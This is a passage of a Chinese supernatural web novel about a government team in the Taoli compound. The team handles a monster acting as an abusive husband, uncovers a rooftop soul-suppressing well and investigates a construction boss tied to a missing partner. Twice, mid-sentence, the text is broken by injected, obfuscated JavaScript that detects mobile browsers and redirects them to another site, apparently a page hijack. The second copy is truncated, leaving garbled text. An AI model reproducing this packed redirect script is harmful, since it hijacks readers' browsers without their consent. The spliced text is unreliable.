“不错。”易恪点头,又看向庄宁屿,似乎是在征询他的意见。其实按照常理,庄宁屿在这种时候是可以适当表扬一下的,毕竟大家工作都很辛苦,但四目一相接,又觉得对方大概会因为这丁点表扬,进而开始展望将来孩子要上哪家幼儿园,于是强行把已经到嘴边的话咽了回去,不想说,一个字都不想说。 明确违背他人意对他人实施骚扰的,受害人有权依法请求行为人承担民事责任,企业机关应采取合理措施预防和受理投诉。庄宁屿在心里默念三遍法条,然后在休息间隙给霍霆发消息,灵魂提问好好一个人,你说他追点谁不好,怎么老缠着我,这到底什么眼光? 霍霆:追你只能说明他缺乏对局势的基本判断,以及对本身能力的错误高估,但眼光没问题。 霍霆:单指感情方面。 庄宁屿按灭手机屏幕,继续去小区各处巡查。虽然追自己的确代表对方眼光奇佳,但有时候倒也不一定就非得佳成这样。 这晚一切如常,而等太阳再度升起时,已经到了规则降临的第五天,也是易恪保证的“第三天”。 清晨,在1601扮演“妻子”角色的人依旧是庄宁屿。他不紧不慢往外端着餐盘,大碗装的汤表面浮起厚厚一层油脂,七八个小碟子里摆放着肉片和各色蔬菜,看起来相当隆重。怪物不高兴地问道:“怎么吃这个?” “今天炖的鸡汤很好,想让你快点吃到。”庄宁屿拍拍他的肩膀,语调温和。目前尚且不知道这些怪物有没有审美,但易恪有,洒进窗户的朝阳穿透窗边人的衬衫,描出一把朦胧的腰背曲线,低下头说话时,像一只温柔圣洁的白色鸟类。 其余队员在心里“哇哦”,不愧是曾经的秩序维护部一枝花,确实顶。 庄宁屿一边给怪物倒饮料,一边警告地扫了一眼过来。易恪挑眉,视线稍微左移,继续落回怪物身上。过桥米线的拖延效果十分显著,对方的进食速度明显要比以往慢上很多,眼看已经快到八点,庄宁屿蹲在门口穿鞋:“你慢慢吃,我去超市取一下昨天团购的菜。” 怪物不断吹凉着碗里的汤,并没有顾得上回答,他一边喝汤,一边用浑浊的眼睛看着挂钟,最后终于丢下空碗准备出门上班,却刚好遇到从电梯里出来的宋然。 “您好,1601的业主是吧?我是这一片的社区民警。”宋然出示了一下自己的证件,“刚刚楼里有人高空抛物,请问是您吗?” “不是。”怪物回答。虽然态度不算友好,但显然并没有对警察施展暴力的意思。 “我可以进去看看吗?”宋然问,“正常取证步骤,希望您能配合。” 怪物不耐烦地侧过身:“快点,我还要上班。” “知道,我会加快速度。”宋然走进房间,站在落地窗前观察拍照,足足过了五分钟,才收起手机道谢离开。怪物气呼呼地锁好房门,也伸手按下电梯。易恪在对讲机里说:“确认,在正常情况下,他哪怕要赶时间,情绪极端烦躁,也一样会配合警察。” 楼道里很安静。不知道为什么,这次电梯在15楼停留的时间格外久,好不容易升到16楼,对开门“叮”一声打开,里面赫然站着一个五大三粗的男人。 男人抬头看了眼门牌号,语调很冲地问:“你就是这家的业主?正好,你老婆走路不长眼,刚刚在超市门口撞了我家孩子,说说看怎么赔偿吧。” 怪物神情陡然变得暴虐起来,一字一句地问:“你说什么?” “我说什么,我说你老婆撞伤了我家小孩,现在正在我家谈赔偿的事。”男人伸手挡住电梯门,“进不进来?不进来我可就报警了!” 怪物被他一把拽进了电梯,电梯门重新合上,男人还在骂骂咧咧,易恪从消防楼梯下到15楼。1506的防盗门正大敞着,不大的客厅里挤满了人,除了庄宁屿,怪物和刚刚那名男人,还有坐在沙发上的钟沐,她一改往日利落打扮,也不知道从哪里找出了件旗袍,黑眼线红嘴唇,手腕上又是金又是玉,富贵满溢,盛气凌人。 “撞了我家小孩,想赖账啊?”她尖着嗓子嚷嚷。 庄宁屿耐着性子解释:“我没有故意撞他,是你家孩子骑着滑板车,先撞到了我,然后他自己也摔倒了。” “那儿又没有监控,你说什么我就信啦?”钟沐伸手指指点点,玉镯子磕着金镯子,响得人心里发毛。眼见道理说不通,庄宁屿索性闭嘴,钟沐也不为难他,转而把攻击目标转移到怪物身上,手心朝上一伸:“赔偿吧,八千块。” 怪物面色不善地看向屋内,黄色的浑浊眼珠几乎要从眼眶里掉出来,如果愤怒有实体,那现在估计已经灌满了整个楼梯间。他高高举起手臂,钟沐丝毫不认输,弯腰捡起地上拖鞋,充当板砖迎面就扔,男人也上前给她帮忙,三方顿时扭打成一团,留下庄宁屿在旁边补了一嗓子:“别打人了,我们赔钱!” 怪物被刺激得更加暴虐。张阿姨和张叔叔此时也从卧室里跑出来,扯起嗓子加入帮骂团,势必要给还躺在医院里的“孙子”争回公道。怪物心情越发焦躁,大掌抓过玄关柜里挂着的衣服和包,用力朝众人扔了过去,怒吼着说:“闭嘴!” 然而并没有人闭。花瓶被衣服带倒,钟沐冲了过来,两只手直直抓向怪物双眼——当然是没有成功的,毕竟双方有着悬殊的身高差。怪物只挥手一扫,那正叮叮当当作响的玉镯就断成五六七八截,争先恐后砸在地上。 “快报警!”张叔叔大喊,由于演得实在太入戏,还无师自通摆出一个单手炸碉堡的戏曲姿势。 庄宁屿的视线一直锁在怪物身上,听到“报警”两个字,对方果然稍微瑟缩了一下。易恪的判断并没有错,既然怪物的身份是“丈夫”,是“上班族”,那么他就是这场规则里的“普通人”,一个普通人,如果还没到走投无路的地步,是不太可能在公开场所叫板警察的。 钟沐和男人挡住门不让怪物离开,又飞速拨通110。两分钟后,宋然再度穿着警服出现在1506门口,开口就问:“怎么回事?” 怪物粗声粗气地说:“他们敲诈勒索。” “我们敲诈勒索?明明就是你打砸在先,我们可有视频证据。”钟沐整理了一下被打乱的头发,把事情的前因后果迅速讲了一遍,又指了指餐柜上的摄像头。 宋然看了眼怪物,又调出监控检查一遍,证实钟沐说的并没有错。怪物目光愤恨,看起来恨不能把1506这家人直接丢出窗户,但当着警察的面,他又并不敢真的这么做。宋然问:“故意损坏他人财物,你这已经属于违法行为。现在说说怎么办吧,是跟我回所里接受调查,还是你们两个在这自行协商?” “多少钱?”怪物没好气地说,“我赔。” 钟沐往茶几上甩下一摞发票:“十一万三。” 怪物瞪大眼睛:“多少?” “缅甸老坑翡翠镯子八万八,远红外生物磁养生负离子能量大衣两万五,发票都在这。”钟沐说,“货真价实,合理合法,定制产品独一无二,我可一毛都没讹你。况且真要细算,被你砸坏的花瓶茶几也全是钱。” 怪物抢过发票,额头不多时就渗出了细细密密的汗珠,和每晚回来的蛮横姿态判若两怪。钱越小声对庄宁屿说:“搞了半天,原来只是个窝里横。” “宋然是真的警察,镯子也是真的八万,在这场逻辑里,二者是无敌的。”庄宁屿说,“所以怪物目前只有两种选择,被带回派出所,然后赔钱,或者直接赔钱。” 经过双方讨价还价,最后一共赔了五万。厚厚一摞规则币被扔在沙发上,怪物夹起公文包,“邦”一拳砸开电梯,怨气横生地离开了桃李小区。 目前暂时不知道今晚回家的怪物会不会被痛失五万的情绪所影响,于是昨天试图讨要生活费但反被殴打的队员再度举手请缨,他名叫青岗,怎么说呢,这任务虽然窝囊,但谁让自己进化出了堪比钢铁沙包般抗揍的身体素质。 队员们纷纷献计:“既然怪物对警察心存忌惮,不然让宋然找个借口,晚上就守在1601?” “守过今晚,还有明晚,宋警官总不能天天待在别人家的客厅里吧?” “庄队,在你调解过的群众纠纷里,有没有关于家暴的?我们参考参考。” 庄宁屿点头:“有,但家暴只有零次和无数次,寄希望于施暴方自己停止,基本不会实现。而唯一能让虐待暂停的方式……妻子怀孕算一种。” 青岗被这种从未设想过的思路惊呆了,他双手捂住八块腹肌:“那还是让他打我吧。” 叶皎月却不答应,她是队长,必须为每一名队员的安全负责,既然假装怀孕就能解决问题,那为什么要挨打?青岗拔腿就想跑,但未遂,只能抱住队长的胳膊潸然泪下,身体健康固然重要,但我的心理健康也需要关怀,老大,这孕能不能换个人 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当事人冷酷一挥手,把队员统统赶回原处待命:“和工作无关的事情禁止议论,再有下次扣你们行动分。” 但一直在沙发上坐着的张阿姨和张叔叔是没有行动分可扣的,所以他们目前正在十分满意地打量着庄宁屿,年轻帅气,性格好,皮肤白,烟酒不沾,爱笑嘴甜,还是公务员,确实不容错过。 张阿姨:“小庄啊。” 庄宁屿:“阿姨,你那个被骗的染色镯子,将来是我负责和旅行社沟通索赔。” 张阿姨:“……” 行动一切顺利,五万规则币就这么赚到了手,食材问题既然已经解决,民众日常生活有了保障,那么下一步的工作重点,就回到了破除规则本身。 易恪靠在窗边,看着小区上方灰白的天:“露台上有什么?” “检查过三次,什么都没有。”庄宁屿说,“就是一个普普通通的露台,天气好的时候,居民会上来晾衣服,没听过有坠楼案件和伤人案件,所以目前尚且不清楚,为什么规则里会特意强调远离露台。” “现在距离怪物回家还有一阵子,我先上去看看。”易恪邀请,“一起?” “我还有会要开。”庄宁屿看了眼时间,“你自便。” 易恪这次难得没有继续烦他,自己去了天台,但这并不代表庄宁屿的耳朵能清静,因为钱越又开始没话找话:“老大,我发现你好像对易哥有点冷漠,但他对你却十分关心,这中间有没有什么我不知道的内|幕?” 庄宁屿和他对视:“我是不是应该表扬一下你的敏锐嗅觉?” “我就随口问问,绝对没别的意思。”钱越举手保证,“老大你放心,我肯定只做你一个人的狗腿。” “我对他没意见,只是单纯地嫉妒有钱人。”庄宁屿心平气和地说,“这样行吗?” “行!”钱越郑重点头,“我这就和你一起展开嫉妒!” 庄宁屿把人一脚踹出去干活,自己点开线上会议,叶皎月眼下已经对着霍霆表扬完了一波易恪,但尤嫌不够,于是点名庄宁屿,让他继续来第二波。 耳机里传来若有似无的一声笑,面对看热闹不嫌事大的朋友,庄宁屿选择调试耳机,再敲敲话筒转移话题:“最近外界有没有什么人或者机构,过度关心桃李小区规则事件?” “有。”霍霆回答,“昇昇集团总裁办的人早上刚来过。” 庄宁屿给自己泡了杯茶:“那按照一般规律,反派大概率就是这个昇昇集团,做什么的?” “安保行业。”霍霆说,“上个月刚签约成为政府的规则破除合作单位,大部分员工都是我们的志愿者,所以来问一声属于情理之中。” 庄宁屿点开最新资料,大致扫了一遍,暂时看不出有什么异常,不过太主动本身也是一种异常,毕竟规则志愿者这种事,纯粹吃力不讨好,没什么短期油水,又会大大占用企业人力资源,所以在绝大多数时间里,除非政府要求,否则合作单位一般不会主动开口。 “正常来说是这样。”霍霆解释,“但这次行动组里有易恪,而易恪身后有一整个易氏集团。” 虽然易国东嘴上支持儿子加入秩序维护部,可老子哪有不想保护崽子的,那这么一来,昇昇集团的这份主动也就有了充足理由——从关心易恪出发,确实是最快和易氏扯上关系的一种方式。 庄宁屿承认是自己考虑不周,居然忘了团队里还有这么一号招蜂引蝶分子。 而这时手机刚好收到一条新消息,发件人易恪。 ——[亲亲]要不要来顶楼?我有个新发现。 7. 桃李小区7 庄宁屿万没想到自己有一天竟然会被emoji骚扰,可见易恪的全优成绩真不是浪得虚名,攻击力高到惊人。他沿着消防通道登上顶楼,露台的白雾要比其他地方更加浓厚,夕阳被过滤得只剩下一层惨淡光晕,冷冷的,又在水洼中折射出使人晕眩的斑驳碎影。 寂静,压抑,潮湿,极端诡异的环境。不过好在手环上的精神污染指数依旧显示零,暂时不用调高防护等级。庄宁屿问:“什么发现?” “那儿。”易恪指着东边角落,“有个很高的水泥桩子。” 有水泥桩并不奇怪,毕竟许多居民都喜欢在露天晒衣物,得有地方挂晾衣绳。奇怪的是水泥桩的位置,几乎紧贴着露台角落,易恪继续说:“任何一个脑子正常的人,都知道水泥桩应该离围栏远一点,那样才更方便使用,而不是像现在这样,挂一件稍微长点的大衣,只要风一吹,下摆就会搭上脏兮兮的围栏。” 所以这根水泥桩子的初始作用,八成并不是用来挂晾衣绳。庄宁屿问:“其余几栋楼的露台呢?” “我刚去看过,其余楼栋的露台东西两侧都是墙,可以直接打钉牵绳,不需要水泥桩,所以没有参考价值。” 庄宁屿蹲下来,用手敲了敲地面:“撬开看看。” 易恪戴上外置机械骨骼,很轻松就切断了钢筋。尖锐的骨刺深深插|入地皮,往上一提,最后一块水泥也顺利被剥离,令两人都没想到的,在空心水泥柱下方,竟然还有一个同样用水泥砌成的,类似于八角井的东西,直径十厘米,很小,当中卷着几张用塑料袋缠紧的黄色符纸,一件小孩的脏衣服,和一坨金子。 叶皎月很快带着队员抵达现场,符纸已经被打开摊平,根据外部同事分析回传的消息,这一整套魔法装备的作用是镇压阴魂。 规则里提到了露台是危险的,现在又冒出来一个镇魂井,那这里九成九曾经闹出过人命。桃李小区建成于二十年前,看这个水泥柱子的斑驳程度,应该也差不多与楼同龄。叶皎月说:“宁屿,小钱,宋警官,你们先带几个人去老住户里打听一下。钟沐和我去物业。大家注意安排好时间,怪物快回来了。” 夕阳像是在一瞬间退去,雨丝又细细绵绵地落了下来,阴冷晦暗的环境,加上一口古怪的井,说下一刻就要闹鬼也行。钱越顶住门,搓了搓手臂上的鸡皮疙瘩,回头问:“庄哥,你们还不走吗?” 易恪双手撑着栏杆,大半身体都探在外面。庄宁屿猜测:“你怀疑人是从这儿掉下去的?” “无非两种可能,死在这儿,或者从这儿掉下去。”易恪站直,手上沾了不少潮湿的铁锈。庄宁屿没从自己的衣兜里找到纸巾,又实在不想去易恪的裤兜里帮忙摸,最后干脆假装没看见,转身就往楼下走,你还是继续脏着吧,小屁孩脏点好养活。 易恪无所谓地拍了拍手,抬腿跟上。三个人的电梯并不拥挤,但钱越觉得很拥挤,主要因为剩下两个人都不说话,不说话,气氛就很微妙,气氛一微妙,小钱同志就开始思考,已知纠纷调解部的工作氛围一直十分快乐,所以自家老大肯定是没任何问题的,那么有问题的人会是谁呢? 电梯停在G层大厅,钱越一路小跑跟在庄宁屿身后,用特务接头的气音问:“庄哥,你们两个刚才是不是吵架了?” 庄宁屿听而不闻,只想把这烦人精打包丢去西伯利亚挖煤。此时小路两旁已经亮起了灯,光线昏黄黯淡,照得花坛里的树越发狰狞。 “如果从露台掉下来,就会砸进花坛这个区域。”易恪往四周看了看,“很偏僻。”偏僻到别说是十几二十年前,就算到了现在,这里也依旧没被摄像头覆盖。 “两面墙,一面灌木丛,一条断头路。”钱越举起手机拍了几张照,“这儿真掉个人,要是没有清洁工和迷路人士,躺一周八成也不会被发现。” 桃李小区是这一带最热销的二手房,号称状元之家,吉利得很,从来没有和命案扯上过关系。由于怪物最先出现在了1603,所以叶皎月已经把该套房的所有交易记录都调了出来,第一位业主名叫葛长存,是一位退休会计,常年住在国外女儿家,这套房只拿来出租,十五年里换了少说也有十个租客,那个年代,租房就是一张手写合同的事,压根查不到备案记录。 三年前,葛长存病逝,这套房也被挂到中介机构,很快被张辉购入。 单凭这些资料看不出任何异常,不过好在眼下小区里仍有不少资深住户,比如开春风超市的苏老师夫妇,再比如旅行团购物爱好者张阿姨张叔叔,以及他们的诸多广场舞搭档。 “1603里都住过谁?”503的大客厅里,一群叔叔阿姨显然被这个问题问住了,尤其是筛选范围还要再加一个“至少十年前”,十年前的租客,租的还不是自己家,这谁能记得住。 张阿姨手一摊:“至少得有个特征吧。” 庄宁屿提示:“可能经常……买泡面?” “泡面啊,”苏阿姨立刻就有了印象,“是是是,我记得。” 这回忆来得太过高效,令同样身为答题选手的张阿姨大感震惊,你连最简单的舞蹈动作都要背三天,怎么还能记得十多年前的超市顾客? 但苏阿姨还真就记得。她说:“那时候有个妹儿,外地人,经常来店里买桶装面,二三十岁,不怎么打扮,话少得很,能不开口就不开口。” 庄宁屿追问:“具体哪一年,还记得吗?” “得是十七、十八年前了。”苏阿姨说,“那天我孙子满月,她又来店里买泡面,我还送了她两个红鸡蛋,所以有印象。” 张阿姨依旧百思不得其解:“你记性什么时候变这么好了?” “你不开店,你不懂。”苏阿姨说,“我能记住她,是因为那阵子刚好全市疯传,说方便面里有防腐剂,吃进胃里要三个月才能消化。” 流言有鼻子有眼,乍一看还十分科学,不少人都信了,方便面因此销量大减,苏阿姨也积压了一批货。这种时候,隔三差五照旧要来消费桶装面的顾客,就显得尤为特殊,特别是她每次都要买一大袋,还要搭配不同口味,再加上火腿肠咸鸭蛋卤鸡腿,算大客户,所以才给苏阿姨留下了极为深刻的印象,这么多年一直没忘。 经过苏阿姨一描述,张阿姨也模模糊糊想起来了,似乎小区里是有这么一个女人,好像很内向腼腆,穿得朴素,留着短短的学生头,背影乍一看,像个男娃。 沉默寡言,短发。庄宁屿忽然插了一句:“那她有没有穿着奇怪,比如一直穿着长袖长裤,哪怕三伏天也不例外?” 钱越明白他这么问的目的,尽可能遮挡住身体的衣服,是家暴受害者最常见的形象。可惜老住户们并没有这方面的印象,锦城的三伏天,谁能穿的住长袖长裤。他们甚至还否认了庄宁屿关于家暴的猜想——家暴,那动静得闹得挺大吧,乒乒乓乓又哭又闹,我们这种老小区隔音条件不好,说话声音大一点邻居都能听到,更别提是吵架时的摔碟子砸碗,没可能,绝对没可能。 庄宁屿说:“那就先把家暴放到一边,还有别的细节吗?” 模糊的框架已经被竖起,再往里填血肉,就会变得相对容易一些。在众人你一言我一语的描述中,这位方便面大客户的形象也渐渐丰满起来。 十七年前的租客,三十岁左右,女性,外地口音,沉默寡言,很少出门,住在1栋,干家务一把好手。至于她有没有老公,时隔这么多年,没人能记得清,不过印象中她好像没有和男人一起出现过。 “那孩子呢,”易恪又问,“有孩子吗?” “八成没有。”张阿姨有理有据地分析,“看她的年龄,就算有孩子,顶天也就上个初中,不可能一天到晚待在家,总得出门耍吧?小区里的娃娃们周末经常有集体活动,见到同龄人就会约着一起玩,我们不可能一点印象都没有。小庄啊,我觉得你们眼下这个侦办方向有点错误,不然再开会讨论讨论。” 庄宁屿点头:“好,那我们回去再讨论讨论。” 他看了眼墙上的挂钟,已经快到怪物回家的时间,于是暂时结束了这场群众沟通大会。1603里,青岗依旧一脸心如死灰,钟沐站在沙发旁边感慨,岗啊,你这哪里还用演,活脱脱一个怀孕后对未来充满迷茫的悲情妇女。 “不要给自己加戏。”庄宁屿刚推门进来,就听到这么一句,于是警告,“只是怀孕,至于迷茫不迷茫,还要再议。” 青岗心里好似黄连苦,加什么戏,能把这一出演完我就已经要谢天谢地。八点半,“砰砰”的砸门声准时响起,听起来的确要比前几天更加暴躁,虽然青岗已经在第一时间打开了防盗门,但迎接他的依旧是迎面飞来的公文包。 怪物是不会认人的,谁在八点为他端上饭菜,谁就是他眼里的“妻子”。餐桌上摆放整齐的食物并没有使怪物的情绪变得稳定,他面色愤怒,高高抡起手里的锤子,青岗深吸一口气,视死如归地吼了一嗓子:“我怀孕了!” 锤子果然停在了半空中。 万事开头难,在顺利迈出第一步后,青岗明显已经接受并试图enjoy另一种人生,单手扶住墙:“要静养。” 其他队员:“……” 怪物把锤子重重丢在地上,从鼻子里发出不满的气音,一双眼睛在“妻子”的肚子上来回扫视许久,最终还是没有再对他施以暴行,而是转身坐回餐桌边,又开始了每一天的固定进食流程。 青岗站在客厅里,深刻带入场景,一位怀孕的妇女,要是天天看到的都是这鬼样子的凶残老公,那确实得想个办法把人从露台送走。怪物张开血盆大口,看架势恨不能把盘子也一口吞下去,碗碟随着他大幅度的动作“乒乒乓乓”掉落在地,摔出一地饭菜残渣和碎瓷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099957|163558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片。 好邋遢,好恶心,这倒霉玩意是故意的!此时桃李小区内的所有住户和行动队员都在通过摄像头,观察着怪物的一举一动,洁癖张阿姨看着地摊上的汤汤水水,心口一阵发堵,太伤眼了,想打110报警。 一个规则里的“丈夫”,和一群被规则困住的,眼下无比想让他彻底消失的“妻子”。等怪物用餐结束,转身回到主卧之后,青岗推测:“所以露台上的‘危险’,会不会是指妻子曾经在那里杀了丈夫,比如实在忍无可忍,所以设计把他推下楼?又或者是丈夫在露台杀了妻子?” “有可能,但可能性不大。”庄宁屿说,“虽说露台下方是死角,掉下去一时半会不会被发现,但一百多斤的尸体并不好处理。一个成年人,尤其是作为家庭主要经济来源的成年男性,可以死,却不大会死得毫无波澜,除非他没有亲人朋友事业,完全脱离于社会关系之外,否则至少也该在警方留下一页失踪记录。” “成年人不可能死得毫无波澜,”易恪抓住这段话的重点,“未成年就可以?” “可以。”庄宁屿说,“一个孩子,尤其是还没上学的小孩子,要是掉落露台身亡,是很容易被处理干净的,前提是他的父母也有心隐瞒。虽然小区的老住户们都说受害者没有孩子,但也可能是她的孩子一直被寄养在外地,所以才会从没出现过。” “规则里的母亲带着孩子,乘坐155路公交车离开桃李小区,最终开始了新的生活,现实里的孩子却大概率掉下了露台。”易恪关上手机屏幕,“155路的终点站是地铁五号线,而五号线是机场线。” 在整个故事里,机场代表终极自由,可惜这大概率是一场只存在于计划中的逃离。钟沐有些唏嘘,忽然脑子里又灵光一闪:“等会儿!规则里的‘孩子’一直没有出现,会不会是因为规则里的‘妻子’一直没有怀孕?那现在青岗既然已经‘怀孕’,那孩子……”她语调稍稍激动,压低声音说,“庄哥,我觉得孩子马上就要来了。” 现场队员被她的语调激得起了一身鸡皮疙瘩,孩子来就来吧,你能不能不要自带恐怖片音效。 “还没来得及问你。”庄宁屿问,“物业那边有什么发现?” “物业那边暂时毫无发现。”钟沐无奈,“这家物业公司是八年前新换的,对之前的事一无所知,旧文件也没有保存下来,现在只能寄希望于外部同事,看他们能不能尽快找到当年物业部的人。” 秩序维护部在找人方面经验丰富,庄宁屿并不担心。夜色渐深,四野寂静,小区也重新被厚厚的白雾包裹,阳台冷得刺骨,已经不适合作为工作汇报第一场所。易恪靠在卧室门口问:“你今天怎么不出去打电话了?” 庄宁屿指了指墙上挂着的显示器,外部温度3℃。天气很冷,他腿上依旧搭着那条羊绒毯,一来确实暖和,二来拒绝了这条,这大少爷八成又要另作新妖,所以险能不冒还是尽量不要冒。 易恪帮他在餐桌旁准备好药,端过来时,顺便吹了吹杯子里的水,白色热气晕开在他的眉眼间,庄宁屿却并没有抬头,而是继续敲着电脑键盘:“这些事不用你做。” 易恪蹲在沙发旁,掌心熟练覆住他的膝盖:“为什么,因为我没给全部门的人送咖啡?” 这话题来得太突兀,庄宁屿还稍微反应了一下,才想明白咖啡的点在哪,但易恪却无理取闹得相当理直气壮,看起来已经规划好了等这次任务结束之后的咖啡请客大计划。庄宁屿心里警铃大作:“你敢。” 易恪撇嘴,把下巴搭上自己的手背,稍高的体温透过布料熨上膝盖,庄宁屿皱起眉,伸出一根手指,用指背试了试对方额头的温度。他之前看过这一批新人的进化报告,结果显示易恪的体温会随着情绪变化一起波动,换言之,这人眼下正处于一种很不应当的,极端亢奋的神奇状态。 玉不琢不成器,庄宁屿及时教育,起手就是一巴掌。 易恪倒没躲,反而顺势握住他的手腕,把整张脸都贴了过去。 庄宁屿当场无语,职场骚扰这种事情,果然只有零次和得寸进尺的无数次。但眼下情况特殊,既不能打也不能骂,最后只能一个电话把霍霆从床上薅起来,劈头就问:“调查工作推进到了哪一步?” 霍霆:“……他又怎么你了?” 庄宁屿裹着奶白色的喀什米尔大羊绒,好似一尊雍容雕塑,站在阳台上顶着夜幕滔滔不绝地骂人。工作电话不能使他站在湿寒的白雾里,但骂人电话可以。他问:“苍山地区的三座医院修完了吗?” “医院修完了。”霍霆说,“但学校才刚动工,你再忍忍。” 说完还发过来一张照片,是易国东在给第二十四区的希望小学奠基仪式剪彩,孩子们手捧大红花,正笑容清澈地和手机外的大人对视,天真烂漫,生机勃勃。 庄宁屿:“……” 8. 桃李社区8 清晨,惨淡的阳光和窗外冬日氛围相呼应,萧瑟寒冷。怪物照旧吃得狼藉一片,不过倒是没有展露出暴力倾向,甚至还在临出门前慷慨丢下两千块规则币给怀孕的妻子,粗声说了一句:“我晚上要去趟筑城,下周回来。” 青岗应付地点点头,等他离开后,才转头问:“他去筑城,我要想办法跟着吗?” “省省吧,你连规则区都出不了,还想去六百多公里外的筑城。”钟沐从他手里抽过规则币,忽然反应过来,“怪不得。” 其余人一时没跟上她的节奏,什么怪不得? “怪不得当年的‘妻子’会隔三差五去超市买泡面。”庄宁屿接话,“因为她的丈夫需要频繁出远门,要么长途车太偏僻没饭店,要么火车上的盒饭太贵,总之带泡面是最方便经济的选择。” 而这样也就能解释清楚,为什么老住户们都对女租客的丈夫没有印象,如果他大部分时间都在外出差,当然不会频繁出现在小区。不过这个推测暂时没什么大用,想要确定怪物背后所隐藏的真实身份,还是要靠外部调查组的协查。 会议室里,钟沐问:“那个主动冒头的昇昇集团,确定不用查一下吗?” “霍部已经安排人去调查了,不过他们还真不一定有问题。”叶皎月看了眼易恪,“根据可靠消息,早在这次规则降临前,昇昇集团的老总就在挖空心思地和易总攀关系,所以目前他的所有行为,其实都能归在合理范围内。小易,你对这件事了解吗?” “不了解,我对这种事没什么兴趣。”易恪转了转手里的笔,“不过我倒有个办法,能判断出这次昇昇集团的过分积极到底是为了我,还是为了别的什么目的。” 叶皎月示意他接着往下说。 易恪却把视线投向庄宁屿。后者身经数战,对此早有准备,在开口说话前先看了眼昨晚新换的手机屏保,屏幕里的易国东正站在希望小学门前,揽着孩子们一脸慈祥微笑。大爱无疆,使人善良,庄宁屿觉得自己确实还能再忍一忍,于是向对面的人不改色一点头,温和鼓励:“说说看。” 易恪眼神狐疑,视线掠过他已经熄屏的手机,庄宁屿一动不动,皮笑肉不笑地和他对视,你爹的大爱也有质保期,别逼我当着所有人的面扇你。 “……”大少爷坐直身体,“他不是想讨好我爸吗?” 那只要让易国东本人严正拒绝这次讨好,表明就是发自内心想让儿子单独锻炼,就可以了。生意场上都是老油条,派志愿者这种事本来就吃力不讨好,如果还达不到“和易家攀关系”的效果,甚至有可能起反作用得罪易家,那在正常情况下,对方肯定不会选择继续坚持。 “好。”叶皎月点头,“这件事就交给你。” 易氏集团大楼里,易国东看了眼“嗡嗡”震动的手机,暂停视频会议,起身去了休息室。电话刚刚接通,还没等他展示浓浓父爱关怀,对面已经懒洋洋甩来一串话,以及一句常见收尾:“就这一件事儿,爸你尽快搞定,我还要去忙,先撤了。” 易国东:“滚回来!” 易恪:“……” 易国东清清嗓子:“工作进展得怎么样?” 易恪说:“还行。” 易国东继续叮嘱:“你庄叔叔的腿伤还没好,他这次纯粹是看在我的面子上,才会进规则区照顾你,你尽量在他面前表现得好一点,一定不要给人家添麻烦。” 易恪产生了和庄宁屿一样的,好想死的心态:“爸,他就比我大四岁,你能不能不要叔来叔去。” 但易国东在这方面很有原则,别说他还比你大四岁,就算他比你小四岁,只要是我的朋友,就算你叔,说说看,你叔这两天对你怎么样? 易恪趴在栏杆上:“不怎么样,他不爱我。” 易国东对此不为所动:“宁屿既爱我,也爱你妈,又爱你姐,还爱你哥,他为什么单单就是不爱你,这到底是谁的问题,你究竟有没有反思过自己?” 易恪一撇嘴,拒绝反思。 至于昇昇集团,也很快就有了后续,虽然易氏已经表达出了明确的“不需要”,但对方也只是口头答应,在实际行动上,一直没有撤回递交给秩序维护部的志愿者申请。 “负责这次志愿者行动的人名叫冯婷,是昇昇集团公关部的经理,女,四十五岁。”钟沐说,“本市人,因为工作关系,社会关系比较复杂,但既没有犯罪记录,也没有犯罪倾向,经济宽裕生活幸福,有一双儿女正在读大学。冯婷的老公名叫成野,贠野建筑公司老总,四十七岁。夫妻两人陆续换过几套房子,但都在城西,和桃李小区没什么关系。” “建筑公司老总。”庄宁屿问,“子承父业还是白手起家?” “白手起家。”钟沐调出资料。 贠野建筑是本市企业,规模不算大也不算小,成野是大货车司机出身,手里攒了点钱之后,又拉起了一个包工队,就这么一步一步,慢慢把公司做了起来。 “他是大车司机?” “是,成野的感情史很简单,这是他老婆冯婷近年的一些照片。”钟沐指着屏幕。大眼睛白皮肤,波浪长卷发,在十几年前就已经穿着一身香奈儿高级时装,和小区居民口中“朴素低调”的女租客迥然不同,明显不会是同一个人。 庄宁屿突然问:“成野出过轨吗?” “根据目前的信息来看,没有。”钟沐摇头,“贠野建筑很懂营销,给成野对外打造的人设之一就爱妻顾家好男人,隔三差五就发要一篇好几千字的恩爱通稿,而且冯婷手中握有不少权力和资源,对成野帮助颇多,他们很难切割。” “没出轨过,那他为什么要给公司起这么一个名字?”庄宁屿稍稍皱眉。 钟沐没明白他的意思:“这名字有什么问题吗?” 庄宁屿解释:“算不上有大问题,但直接叫原野建筑不好吗?贠这个字并不常见,成野又早早就辍了学,实在没道理挑这么一个没意义的生僻字做公司名。” 钱越追问:“所以这代表什么?” 庄宁屿答:“代表他要么有一个姓贠的爱人,要么有一个姓贠的合作伙伴。” “冯婷和成野青梅竹马,就算成野真的出过轨,应该也不至于把出轨对象的名字明晃晃放进公司里。”钟沐在键盘上敲击搜索,“……至于合作伙伴,在贠野建筑发出的新闻稿里,好像也从没出现过。” “新闻稿里没出现过,那就去警方的案件卷宗里找。”庄宁屿敲敲桌子,“这个姓很特殊,搜索范围应该很小。” 事实证明确实不难找。新的资料很快被上传,出现了一个叫贠大力的男人,他曾经是成野的搭档,两人初时一起开长途货车,一起开建筑公司,一起赚取第一桶金,日子越来越好,贠大力却被人拉进了地下赌场,没多久就败光所有家底,人也离奇蒸发,目前被归档在失踪人口里。 钟沐说:“不好说是跑路了,还是被追债人杀了,总之这么多年来,贠大力一直生不见人死不见尸。” 贠大力是徐城贠家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 